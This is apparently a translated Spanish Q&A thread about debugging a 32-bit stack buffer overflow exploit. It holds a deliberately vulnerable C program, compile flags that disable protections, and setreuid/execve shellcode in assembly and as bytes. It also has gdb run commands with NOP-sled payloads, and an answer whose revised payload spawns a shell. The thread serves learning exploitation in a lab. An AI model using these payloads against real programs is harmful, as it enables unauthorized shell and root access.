Shellcode no se ejecuta y se sobrescribe el EIP

2

He escrito un programa vulnerable (a continuación) y algo de código de shell (también a continuación) para usar en un exploit de desbordamiento de búfer. He tenido los mismos problemas que en este link , y resolví los que usaron las respuestas allí (-z execstack, -fno-stack-protector). Ahora estoy teniendo un problema aludido en un comentario.

Sobrescribo la dirección de retorno de modo que apunte a la mitad de un trineo NOP (a "\ x38 \ xcf \ xff \ xff", little-endian, encontrado usando x / 500x $ esp-500 en gdb). El programa (comando en la parte inferior) da una falla de segmentación:

0xffffa0e8 in ?? ()

(gdb) info register
eax            0xfffffffc   -4
ecx            0xffffd070   -12176
edx            0x0  0
ebx            0xffffd074   -12172
esp            0xffffd06c   0xffffd06c
ebp            0x2368732f   0x2368732f
esi            0x0  0
edi            0x0  0
eip            0xffffa0e8   0xffffa0e8
eflags         0x10246  [ PF ZF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
(gdb) 

El byte más a la derecha de la dirección de retorno no es lo que debería ser (eip debería leer 0xffffcf38). Si cambio la dirección de retorno a una tontería, diga "0xffffdddd", obtengo:

Program received signal SIGSEGV, Segmentation fault.
0xffffddfd in ?? ()

casi como se esperaba, ¡una "d" ha cambiado a una "f"! Una dirección de retorno de "0x42424242" funciona como se esperaba: segfault, 0x42424242 en ?? ()

Entonces: el comportamiento esperado es iniciar / bin / bash. El comportamiento real es dar una falla de segmentación, dando como una dirección de retorno algo diferente a la dirección con la que estoy intentando sobrescribir el EIP. La pregunta es: ¿por qué sucede esto y cómo puedo detenerlo?

El programa vulnerable:

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv) {
    char buffer[500];
    strcpy(buffer, argv[1]);

    return 0;
}

Compilado con:

gcc -g -m32 -fno-stack-protector -z execstack -o ./vuln ./vuln.c

El código de shell (desde o en gran parte desde here ) en ensamblaje:

BITS 32

; setreuid(0, 0)
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80

jmp short two

one:
pop ebx

;execve("/bin/sh", ["/bin/sh", NULL], NULL)
xor eax, eax
mov byte [ebx+7], al
push eax
push ebx
mov ecx, esp
xor edx, edx
int 0x80

two:
call one

db  "/bin/sh#"

El ensamblado se compila con:

nasm -bin -o shellcode shellcode.asm

El ataque se ejecuta en gdb, usando los comandos:

gdb vuln

y

run $(python -c 'print "\x90" * 473 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0e\x5b\x31\xc0\x88\x43\x07\x50\x53\x89\xe1\x31\xd2\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23" + "\x38\xcf\xff\xff"')

El sistema es Linux Mint 17.1 de 64 bits, ejecutándose en VirtualBox.

    
pregunta Henrik Oldcorn 16.03.2018 - 00:16
fuente

1 respuesta

1

Descargo de responsabilidad: soy muy nuevo en esto y escribí esta respuesta para mejorar mi comprensión de los desbordamientos de búfer

Creo que tienes 3 problemas:

  • Al código de shell le falta un byte al final para alinearse
  • El código de shell está demasiado cerca del puntero de retorno
  • Olvidaste el salto de regreso a ebp antes de saltar a tu código

Mi entendimiento es que aunque eip se moverá a la dirección que especificaste, la pila estará al final de tu código de shell + 4 bytes, porque ret se abrirá y luego lo moverá a eip .

También tu problema me hizo darme cuenta de que estaba luchando por lo mismo: la pila aún se mueve mientras ejecuta tu código de shell. Si esp está demasiado cerca de su código de shell, las instrucciones de push y pop pueden alterar su propio código de shell.

Lo que sugiero es entonces:

  • Comience a llenar el búfer al 75% de Nop
  • Insertar código de shell
  • Coloca el código de shell al byte más cercano
  • Inserte el Nop restante
  • Inserte dos veces el puntero de retorno: una vez para leave y la otra para ret

He intentado esto con un código de shell diferente:

$> env -i vuln $(python -c 'print "\x90" * 352 + "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*101 + "\x48\xfc\xff\xbf"+"\xf0\xfa\xff\xbf"')
$ id
uid=1001(user) gid=1001(user) groups=1001(user)

Utilizando GDB :

ebp            0xbffffc48       0xbffffc48
esp            0xbffffa30       0xbffffa30

ESP:
0xbffffa30:     0xbffffa4c      0xbffffdda      0xb7fff524      0x00000000
0xbffffa40:     0xb7fff524      0xbffffad0      0xb7fe35c9      0x90909090
0xbffffa50:     0x90909090      0x90909090      0x90909090      0x90909090

EIP:
0x80483ed <main+41>:    leave
0x80483ee <main+42>:    ret
0x80483ef:      nop

Luego next instruction :

ebp            0xbffffaf0       0xbffffaf0
esp            0xbffffc4c       0xbffffc4c

ESP:
0xbffffc4c:     0xbffffaf0      0x00000000      0xbffffcf4      0xbffffd00

EIP:
0x80483ee <main+42>:    ret

Saltamos a la dirección en $esp :

ebp            0xbffffaf0       0xbffffaf0
esp            0xbffffc50       0xbffffc50

ESP:
0xbffffc50:     0x00000000      0xbffffcf4      0xbffffd00      0xb7fe1848
0xbffffc60:     0xbffffcb0      0xffffffff      0xb7ffeff4      0x08048234

EIP:
0xbffffaf0:     nop

Y que comience la diapositiva:

(gdb) c
Continuing.
Executing new program: /bin/dash
$
    
respondido por el tehmoon 16.03.2018 - 02:38
fuente

Lea otras preguntas en las etiquetas